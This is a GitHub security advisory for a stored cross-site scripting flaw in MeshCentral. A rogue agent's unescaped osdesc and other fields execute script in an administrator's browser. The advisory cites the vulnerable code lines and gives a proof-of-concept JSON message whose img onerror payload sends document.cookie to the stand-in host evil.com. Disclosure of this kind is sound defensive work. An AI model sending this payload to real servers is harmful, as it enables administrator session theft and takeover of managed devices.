GHSA-c7hr-448w-65px

Summary

MeshCentral has unsanitized data fields

Severity

high

CVSS

8.3

CWE

CWE-20, CWE-74

Published

2026-08-18

Updated

2026-08-18

Advisory details

Description

A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.

Technical Details

// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }

// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML

// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')

Additional unescaped agent fields:

• node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
• cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
• volumes[].name unescaped in file browser (line 12612) -- MEDIUM

No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.

Proof of Concept

Rogue agent sends via WebSocket:

{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}

Payload fires when any admin views the device details panel. No click required.

References

• https://github.com/advisories/GHSA-c7hr-448w-65px
• https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px
• https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60

Related advisories

• CVE-2026-54543 — medium · Packagist/froxlor/froxlor
• CVE-2026-96620 — critical · PyPI/claude-agent-sdk
• CVE-2026-107726 — critical · Maven/com.hazelcast:hazelcast
• CVE-2026-61732 — critical · PyPI/decepticon-core
• CVE-2026-55068 — critical · Go/github.com/free5gc/free5gc
• CVE-2026-54133 — critical · Packagist/mtdowling/jmespath.php
• CVE-2026-54680 — critical · Go/github.com/kube-logging/logging-operator
• GHSA-rjg6-39jm-rgg4 — critical · npm/@better-auth/scim

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